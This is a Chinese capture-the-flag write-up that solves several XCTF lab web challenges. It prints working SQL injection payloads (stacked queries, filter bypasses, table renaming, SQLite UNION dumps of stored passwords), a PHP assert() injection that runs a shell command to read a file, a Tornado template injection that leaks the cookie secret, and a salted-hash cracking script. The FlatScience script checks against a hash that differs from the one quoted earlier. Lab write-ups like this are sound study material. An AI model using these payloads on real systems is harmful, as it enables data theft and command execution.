攻防世界web高手进阶区(二)

supersqli

攻防世界web高手进阶区(二)_第1张图片攻防世界web高手进阶区(二)_第2张图片
题目提示随便住,输入1’题目报错说多了一个分号,存在sql注入
攻防世界web高手进阶区(二)_第3张图片输入1’#,返回正确
攻防世界web高手进阶区(二)_第4张图片1’ order by 2#
攻防世界web高手进阶区(二)_第5张图片1’ order by 3#,返回错误,说明有两列
攻防世界web高手进阶区(二)_第6张图片联合查询,发现select字段被过滤了
攻防世界web高手进阶区(二)_第7张图片当关键字被过滤时可以尝试堆叠注入

方法一:堆叠注入
-1’;show tables#,–+好像被过滤了
攻防世界web高手进阶区(二)_第8张图片1、查看字段
-1’;show columns from 1919810931114514; --+
攻防世界web高手进阶区(二)_第9张图片
-1’;show columns from words; --+
攻防世界web高手进阶区(二)_第10张图片攻防世界web高手进阶区(二)_第11张图片
参考师傅的博客,堆叠注入的话接下来的思路是:

2、查看值,需要绕过select的限制,我们可以使用预编译的方式

-1’;set @sql = CONCAT(‘se’,‘lect * from 1919810931114514;’);prepare stmt from @sql;EXECUTE stmt;#
拆分开来如下:
-1’;
set @sql = CONCAT(‘se’,‘lect * from 1919810931114514;’);
prepare stmt from @sql;
EXECUTE stmt; #
攻防世界web高手进阶区(二)_第12张图片
3、但是这里用strstr函数过滤了set和prepare关键词,但strstr这个函数并不能区分大小写,我们将其大写即可。

-1’;sEt @sql = CONCAT(‘se’,‘lect * from 1919810931114514;’);prEpare stmt from @sql;EXECUTE stmt;#

这样flag就出来了
攻防世界web高手进阶区(二)_第13张图片方法二:(一点点明白)
1.由上面的探测我们可以猜测出这里会查询出words表的data列的结果。也就是类似于下面的sql语句:
select * from words where id = ‘’;

2.我们将表1919810931114514名字改为words,flag列名字改为id,那么就能得到flag的内容了。

修改表名和列名的语法如下:

修改表名(将表名user改为users)alter table user rename to users;

修改列名(将字段名username改为name)alter table users change uesrname name varchar(30);

3.最终payload如下:

1’; alter table words rename to words1;alter table 1919810931114514 rename to words;alter table words change flag id varchar(50);#

拆分开来如下:

1’;
alter table words rename to words1;
alter table 1919810931114514 rename to words;
alter table words change flag id varchar(50);

攻防世界web高手进阶区(二)_第14张图片
4.然后使用1’ or 1=1#即可查询出flag
攻防世界web高手进阶区(二)_第15张图片方法三:(这种方法简单实用)
使用handler查询,payload如下:
-1’;handler 1919810931114514 open;handler 1919810931114514 read first;#
攻防世界web高手进阶区(二)_第16张图片方法四:另一种堆叠注入(思路很清晰,赞)
1、查询所有数据库
1’;show databases;–+
攻防世界web高手进阶区(二)_第17张图片2、查询所有表:
1’;show tables; --+
攻防世界web高手进阶区(二)_第18张图片3、查询words表中所有列:
1’;show columns from words; --+
攻防世界web高手进阶区(二)_第19张图片1’;show columns from 1919810931114514;#
攻防世界web高手进阶区(二)_第20张图片4、分析:根据两个表的情况结合实际查询出结果的情况判断出words是默认查询的表,因为查询出的结果是一个数字加一个字符串,words表结构是id和data,传入的inject参数也就是赋值给了id

5、这道题没有禁用rename和alert,所以我们可以采用修改表结构的方法来得到flag 将words表名改为words1,再将数字名表改为words,这样数字名表就是默认查询的表了,但是它少了一个id列,可以将flag字段改为id,或者添加id字段

1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#

这段代码的意思是将words表名改为words1,1919810931114514表名改为words,将现在的words表中的flag列名改为id 然后用1’ or 1=1 #得到flag
攻防世界web高手进阶区(二)_第21张图片
攻防世界web高手进阶区(二)_第22张图片

ics-06

提示:云平台报表中心收集了设备管理基础服务的数据,但是数据被删除了,只有一处留下了入侵者的痕迹。
攻防世界web高手进阶区(二)_第23张图片可以观察到url栏中有一个id,尝试爆破,id=2333时成功
攻防世界web高手进阶区(二)_第24张图片看似复杂其实不难
攻防世界web高手进阶区(二)_第25张图片

lottery

打开页面,提示可能是要拿到flag就要获得足够多的钱
攻防世界web高手进阶区(二)_第26张图片一个人可以不停地注册,注册后拥有$20
攻防世界web高手进阶区(二)_第27张图片攻防世界web高手进阶区(二)_第28张图片尝试修改最大长度为10绕过匹配,发现失效
攻防世界web高手进阶区(二)_第29张图片那么如何获得足够多的钱呢?想了半天没有头绪,借鉴师傅的博客
攻防世界web高手进阶区(二)_第30张图片robots.txt原本是用来限制爬虫的,原来还可以有这个功能,发现应该是git源码泄露,去github上下载GitHack

GitHack的介绍:
攻防世界web高手进阶区(二)_第31张图片GitHack的命令:

python GitHack.py http://xxx/.git/

在这里flag被当成了商品卖,得获得足够多的钱
攻防世界web高手进阶区(二)_第32张图片
其实这道题附件已经给出了源码,判断相等的数字个数时,用的是==,这不就是个弱类型漏洞吗,bool类型的true是可以和任何数据弱类型相等的
攻防世界web高手进阶区(二)_第33张图片
攻防世界web高手进阶区(二)_第34张图片多go几次获得足够多的钱
攻防世界web高手进阶区(二)_第35张图片攻防世界web高手进阶区(二)_第36张图片

mfw

攻防世界web高手进阶区(二)_第37张图片
攻防世界web高手进阶区(二)_第38张图片根据提示,.git,可知存在源码泄露
了解了一款新的工具dirsearch,用它扫描一下,发现确实存在代码泄露
攻防世界web高手进阶区(二)_第39张图片
攻防世界web高手进阶区(二)_第40张图片
攻防世界web高手进阶区(二)_第41张图片用GitHack扫描得到源码,index.php的关键代码如下

<?php

if (isset($_GET['page'])) {
    $page = $_GET['page'];
} else {
    $page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

如果这个字符串中没有找到相应的子字符串 就返回false
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

?>

源码里给了提示flag
攻防世界web高手进阶区(二)_第42张图片
assert() 检查一个断言是否为 FALSE,assert()函数会将括号中的字符当成代码来执行,并返回true或false。
strpos() 函数查找字符串在另一字符串中第一次出现的位置。
file_exists() 函数检查文件或目录是否存在。

若想得到flag,即得到"Detected hacking attempt!"
则需要给page传入的须满足

$file = "templates/" . $page . ".php";
assert("strpos('$file', '..') === false")

payload:

?page=abc') or system("cat templates/flag.php");//
$file = "templates/?page=abc') or system("cat templates/flag.php");//.php";
assert("strpos('templates/?page=abc') or system("cat templates/flag.php");//.php', '..') === false") or die("Detected hacking attempt!");

在这里插入图片描述

web2

<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";

function encode($str){
    $_o=strrev($str);//strrev() 函数反转字符串。
    // echo $_o;
        
    for($_0=0;$_0<strlen($_o);$_0++){
       
        $_c=substr($_o,$_0,1);
        $__=ord($_c)+1;//ord() 函数是 chr() 函数(对于8位的ASCII字符串)或 unichr() 函数(对于Unicode对象)的配对函数,它以一个字符(长度为1的字符串)作为参
        数,返回对应的 ASCII 数值,或者 Unicode 数值,如果所给的 Unicode 字符超出
        了你的 Python 定义范围,则会引发一个 TypeError 的异常。
        $_c=chr($__);
        $_=$_.$_c;   
    } 
    return str_rot13(strrev(base64_encode($_)));
}

highlight_file(__FILE__);
/*
   逆向加密算法,解密$miwen就是flag
*/
?> 

逆向代码:

<?php
$str='a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws';
$_ = base64_decode(strrev(str_rot13($str)));

$_o=NULL;
for($_0=0;$_0<strlen($_);$_0++){  
       
        $_c=substr($_,$_0,1);  

        $__=ord($_c)-1;  

        $_c=chr($__);  

        $_o=$_o.$_c;   
    } 


echo strrev($_o);
echo $_o;//

?>

攻防世界web高手进阶区(二)_第43张图片

easytornado

攻防世界web高手进阶区(二)_第44张图片http://111.198.29.45:50837/file?filename=/flag.txt&filehash=6cf3482aa63831fd126c5299ff05a191
攻防世界web高手进阶区(二)_第45张图片http://111.198.29.45:50837/file?filename=/hints.txt&filehash=1252ddbcca2c9e9fcee3122cb57740c3
攻防世界web高手进阶区(二)_第46张图片http://111.198.29.45:50837/file?filename=/welcome.txt&filehash=802a9acd3eddc77bdadfcc99cc5ecf36
攻防世界web高手进阶区(二)_第47张图片也就是说我们要向读取到文件,payload是这样的:
file?filename=/fllllllllllllag&filehash=**********************
******************的内容是md5(cookie_secret+md5(/fllllllllllllag))
所以我们的差的就是cookie_secret了,下面开始拿cookie_secret

直接访问http://111.198.29.45:32805/file?filename=/fllllllllllllag,发现报错
攻防世界web高手进阶区(二)_第48张图片

参考师傅的博客
题目是easy_tornado,/welcome.txt页面也看到render,可能会是SSTI模板注入

验证:
传递error?msg={{2}},页面出现2
攻防世界web高手进阶区(二)_第49张图片
传递error?msg={{2*3}},页面出现ORZ(但并不是cookie)
攻防世界web高手进阶区(二)_第50张图片
尝试除和减操作符也是)返回ORZ,说明是操作符被过滤了。
攻防世界web高手进阶区(二)_第51张图片攻防世界web高手进阶区(二)_第52张图片
那么tornado中的cookie通过模板注入要怎么拿到呢?
用的就是handler.settings对象

handler 指向RequestHandler
而RequestHandler.settings又指向self.application.settings
所有handler.settings就指向RequestHandler.application.settings了!

**传递error?msg={{ handler.settings }}**得到:
攻防世界web高手进阶区(二)_第53张图片
这样就拿到cookie_secret了
{‘autoreload’: True, ‘compiled_template_cache’: False, ‘cookie_secret’: ‘2741bf60-431a-4ffb-9d3f-68e83a6ec237’}

然后传递file?filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(/fllllllllllllag))
这样就拿到flag了。

在线md5加解密似乎不太靠谱的丫子,还是自己写一个python脚本

import hashlib


def md5value(s)://md5加密模板
    md5 = hashlib.md5()
    md5.update(s.encode())
    return md5.hexdigest()


def mdfive2():
    filename = '/fllllllllllllag'
    cookie = r"2741bf60-431a-4ffb-9d3f-68e83a6ec237"
    print(md5value(cookie + md5value(filename)))


mdfive2()

在这里插入图片描述http://111.198.29.45:32805/file?filename=/fllllllllllllag&filehash=f597f5b6172d977f9c4f74a7fbca31f8
攻防世界web高手进阶区(二)_第54张图片攻防世界web高手进阶区(二)_第55张图片

FlatScience

攻防世界web高手进阶区(二)_第56张图片依次对这两个页面进行测试:
攻防世界web高手进阶区(二)_第57张图片
admin.php无论如何输入都没有什么反馈
攻防世界web高手进阶区(二)_第58张图片攻防世界web高手进阶区(二)_第59张图片login.php在username中输入1’ union select database()时报错:
攻防世界web高手进阶区(二)_第60张图片可以看到是sqlite数据库,表的结构和查询函数和MySQL有所不同

http://111.198.29.45:53408/login.php?debug

出现了源码
攻防世界web高手进阶区(二)_第61张图片

<?php
if(isset($_POST['usr']) && isset($_POST['pw'])){
        $user = $_POST['usr'];
        $pass = $_POST['pw'];//通过POST接收usr和pw参数。没有做任何过滤,带入sql查询。若查询的结果id字段不为空,则执行setcookie操作,会将查询的结果name字段插入到cookie中。

        $db = new SQLite3('../fancy.db');
        
        $res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");
    if($res){
        $row = $res->fetchArray();
    }
    else{
        echo "
Some Error occourred!"
; } if(isset($row['id'])){ setcookie('name',' '.$row['name'], time() + 60, '/'); header("Location: /"); die(); } } if(isset($_GET['debug'])) highlight_file('login.php'); ?>

构造usr=’ union select name,sql from sqlite_master–+&pw=123

sqlite的注释符是--+,带入查询后,sql注入的结果是:

SELECT id,name from Users where name=' ' UNION SELECT name, sql from sqlite_master--+ and password= 'chybeta'

and起后面部分被注释掉。利用union联合查询sqlite系统表(sqlite_master),得到的id值其实是表的名字(name),而得到的name值其实是创建表时的语句(sql)

sql是sqlite_master中的一个字段,注入时经常用到的
攻防世界web高手进阶区(二)_第62张图片setcookie就是:

CREATE TABLE Users(
id int primary key,
name varchar(255),
password varchar(255),
hint varchar(255)
)

移位查询获取表中数据

usr=%27 UNION SELECT id, id from Users limit 0,1–+&pw=chybeta
攻防世界web高手进阶区(二)_第63张图片
usr=%27 UNION SELECT id, name from Users limit 0,1–+&pw=chybeta
攻防世界web高手进阶区(二)_第64张图片
usr=%27 UNION SELECT id, password from Users limit 0,1–+&pw=chybeta
攻防世界web高手进阶区(二)_第65张图片

usr=%27 UNION SELECT id, hint from Users limit 0,1–+&pw=chybeta
(改成limit 2,1就能查id为2的用户,最后一共3个用户)
攻防世界web高手进阶区(二)_第66张图片这里的提示应该是说在fav paper中找到一个词+Salz之后sha1得到的值为34b0bb7c304949f9ff2fc101eef0f048be10d3bd, 那首先要找到fav paper,不然就干脆每篇文章都搞过去 看了一会儿文章我表示放弃… 决定写个脚本把pdf里面的词都提出来, 先用wget把pdf down下来:

wget ip -r -np -nd -A .pdf

-r:层叠递归处理
-np:不向上(url 路径)递归
-nd:不创建和 web 网站相同(url 路径)的目录结构
-A type:文件类型

爬取站点中所有的pdf文件,总共30个,然后用脚本进行解析处理,并用sha1函数与加密的密码进行碰撞已找出正确的密码,拿大佬的脚本,pdfplumber 库比较好用,代码也很简洁,PDF表格内的文字也可以提取(python 3.7)

#!/usr/bin/python
# coding = utf-8
import hashlib
import re
import os
import pdfplumber
import requests
from bs4 import BeautifulSoup

# 递归爬取URL
def get_url(url):
    try:
        r = requests.get(url)
        r.raise_for_status()
        soup = BeautifulSoup(r.text,'html.parser')
        tag_a_lst = soup.find_all('a')
        link_set = set()
        for i in tag_a_lst:
            if  ('../../' not in i['href']) and \
                ('8/index' not in i['href']) :
                # 去掉 URL 中的‘index.html'
                href = url[:-10] + i['href']
                link_set.add(href)
                if ('pdf' not in href) and \
                    (i['href'] != 'index.html'):
                    link_set.update(get_url(href))
                    link_set.discard(href)
        return link_set
    except:
        print('get url error')
        return {}
# 下载PDF文件
def download(url,path):
    save_path = path + url.split('/')[-1]
    try:
        r = requests.get(url)
        r.raise_for_status()
        with open(save_path,'wb') as file:
            file.write(r.content)
            file.close()
    except:
        print('download error')

# PDF文字提取到txt文件
def pdf_to_txt(pdf_file,txt_file):
    try:
        pdf = pdfplumber.open(pdf_file)
        with open(txt_file, 'w+',encoding='UTF-8') as file:
            for page in pdf.pages:
            	# 逐页提取文字
                contents = page.extract_text()
                file.write(contents)
            file.close()
        pdf.close()
    except:
        print('convert error')

def main():
    url = 'http://111.198.29.45:31745/index.html'
    root = 'D:/pdf_download/'
    link_lst = get_url(url)
    for link in link_lst:
        download(link,root)
    file_lst = os.listdir(root)
    r = re.compile('[\w]+')
    
    for i in range(1,len(file_lst)):
        pdf_file = root + file_lst[i-1]
        txt_file = root+'txt/%d.txt'%i
        pdf_to_txt(pdf_file,txt_file)
        
        with open(txt_file,'r', encoding='utf-8') as file:
            f = file.read()
        words_lst = r.findall(f)
        for j in words_lst:
            pw = j + "Salz!"
            encode = hashlib.sha1(pw.encode('utf-8')).hexdigest()
            if  encode == "3fab54a50e770d830c0416df817567662a9dc85c":
                print("password is :",j)
                break

if __name__ == '__main__':
    main()

得到密码为ThinJerboa,登陆admin.php,得到flag

你可能感兴趣的:(CTF)